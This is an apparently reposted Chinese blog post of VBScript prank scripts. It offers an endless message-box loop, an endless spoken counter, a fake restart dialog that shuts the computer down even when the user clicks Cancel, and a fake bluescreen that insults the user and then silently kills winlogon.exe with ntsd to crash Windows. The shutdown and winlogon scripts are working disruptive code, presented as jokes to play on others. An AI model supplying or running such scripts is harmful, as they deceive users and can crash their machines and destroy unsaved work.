1、無限循環(huán)hi

復(fù)制代碼 代碼示例:

do

msgbox "hi"

loop

2、無限制的用英文報數(shù)

復(fù)制代碼 代碼示例:

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

3、計算機重啟提示

復(fù)制代碼 代碼示例:

if MsgBox("對不起,您灌水太多需要重新啟動計算機。"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動計算機")=vbCancel then

msgbox " 系統(tǒng)將立刻重起wow ~_^",,"你上當(dāng)了！！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

4、假藍屏提醒

復(fù)制代碼 代碼示例:

if MsgBox("你是豬頭嗎？",vbYesNo,"提示")=vbyes then

msgbox "你SB啊!"

else

msgbox "還不承認!! 作為懲罰，藍屏一下，你馬上掛了#￥！@#￥%@……#……?",64,"嚴重警告!!!!!!!!!"

Set ws = CreateObject("Wscript.Shell")

wscript.sleep 1200

ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide

end if

Set ws = CreateObject("Wscript.Shell")

ws.run "cmd.exe /c call calc.exe",0

總結(jié)

以上是生活随笔為你收集整理的vbs整人代码蓝屏_vbs恶作剧(整人代码)-英文报数 蓝屏 重启电脑等的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。